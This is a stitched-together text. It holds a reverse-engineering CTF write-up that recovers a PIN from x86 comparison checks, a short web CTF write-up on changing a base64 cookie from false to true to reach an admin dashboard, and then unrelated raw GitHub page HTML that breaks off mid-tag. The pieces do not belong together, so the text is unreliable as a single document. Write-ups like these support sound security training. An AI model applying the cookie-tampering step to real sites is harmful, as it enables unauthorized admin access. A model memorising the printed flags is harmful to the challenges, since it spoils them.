# K3RN3L DROID### Task source :https://github.com/Tzion0/CTF/tree/master/K3RN3LCTF/2021/K3RN3L%20DROID Our goal is to retrieve the valid pin number to combine with another half of the flag: `flag{K3RN3L_DR0ID_%s}` The only way to view `validPinMessage` is through `valid_pin`. We can see `label5` is comparing the **pinCode** and jump to `valid_pin` if matched. The table below have references for intructions we need. ```Mnemonic Condition tested Description jo OF = 1 overflow jno OF = 0 not overflow jc, jb, jnae CF = 1 carry / below / not above nor equaljnc, jae, jnb CF = 0 not carry / above or equal / not belowje, jz ZF = 1 equal / zerojne, jnz ZF = 0 not equal / not zerojbe, jna CF or ZF = 1 below or equal / not aboveja, jnbe CF or ZF = 0 above / not below or equaljs SF = 1 sign jns SF = 0 not sign jp, jpe PF = 1 parity / parity even jnp, jpo PF = 0 not parity / parity odd jl, jnge SF xor OF = 1 less / not greater nor equaljge, jnl SF xor OF = 0 greater or equal / not lessjle, jng (SF xor OF) or ZF = 1 less or equal / not greaterjg, jnle (SF xor OF) or ZF = 0 greater / not less nor equal ``` Apparently the length of **pinCode** was 8:```call strlencmp rax, 0x8jne invalid_pin_length ``` ### pinCode 1:```mov r9b, [pinCode + 0x0]cmp r9b, 0x30jne invalid_pin```We can see it is comparing with `0x30` and jump to `invalid_pin` if not equal. So the first pinCode was `0x30` which is equivalent to 0 in ASCII. #### Flag in progress: flag{K3RN3L_DR0ID_0} ### pinCode 2:```mov r9b, [pinCode + 0x1]cmp r9b, 0x34jne invalid_pin```Same as first one, so the second pinCode was `0x34` which is equivalent to 4 in ASCII. #### Flag in progress: flag{K3RN3L_DR0ID_04} ### pinCode 3:```mov r9b, [pinCode + 0x2]cmp r9b, 0x37jg invalid_pincmp r9b, 0x30jne invalid_pin```We can see it is comparing with `0x37` and jump to `invalid_pin` if it was greater than `0x37`, in other words, the correct pinCode was < 0x37.Now for the second comparison, the instruction was jump if not equal, which means the correct pinCode was `0x30`, equivalent to 0 in ASCII. #### Flag in progress: flag{K3RN3L_DR0ID_040} ### pinCode 4:```mov r9b, [pinCode + 0x3]cmp r9b, 0x39je invalid_pincmp r9b, 0x30jne invalid_pin```The first comparison compare if the pinCode is equal to `0x39`, jump to `invalid_pin`, which is useless for us. For second comparison, again, jump to `invalid_pin` if not equal, so the correct pinCode was `0x30`, equivalent to 0 in ASCII. #### Flag in progress: flag{K3RN3L_DR0ID_0400} ### pinCode 5:```mov r8b, [pinCode + 0x4]cmp r8b, 0x31jb invalid_pincmp r8b, 0x32jge invalid_pin```The first comparison compare if the pinCode was below than `0x31`, jump to `invalid_pin`. So the pinCode must be >= 0x31. For second comparison, if the pinCode was greater or equal to `0x32`, jump to `invalid_pin`. Which means the correct pinCode is 0x32 > x >= 0x31. Thereforce the `0x31` was the correct pinCode, equivalent to 1 in ASCII. #### Flag in progress: flag{K3RN3L_DR0ID_04001} ### pinCode 6:```mov r8b, [pinCode + 0x5]cmp r8b, 0x30jbe invalid_pincmp r8b, 0x32jae invalid_pin```First comparison check if pinCode was below or equal to `0x30`, which means the pinCode must be > 0x30. The second comparison check if the pinCode is above or equal to `0x32`, hence the correct pinCode is `0x31`, equivalent to 1 in ASCII. #### Flag in progress: flag{K3RN3L_DR0ID_040011} ### pinCode 7:```mov r8b, [pinCode + 0x6]cmp r8b, 0x39jne invalid_pin```Again, jump if not equal. So the correct pinCode was `0x39`, equivalent to 9 in ASCII. #### Flag in progress: flag{K3RN3L_DR0ID_0400119} ### pinCode 8:```mov r8b, [pinCode + 0x7]cmp r8b, 0x36jl invalid_pincmp r8b, 0x36jg invalid_pin```The first comparison check if the pinCode was less than `0x36`, means the correct pinCode is >= 0x36. For second comparison, it check if the pinCode is greater than 0x36, hence the correct pinCode was `0x36`, equivalent to 6 in ASCII. #### Final Flag: flag{K3RN3L_DR0ID_04001196}
**A chest full of cookies** - Getting into the challenge link and looking into inspect storage section as the name of the challenge suggests- There is a cookie with base64 value false, which needs to changed to true in base64- Then hitting the /dashboard.php endpoint will give the flag in a header `EHACON{y0u_@r3_@dm1n_n0w}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" 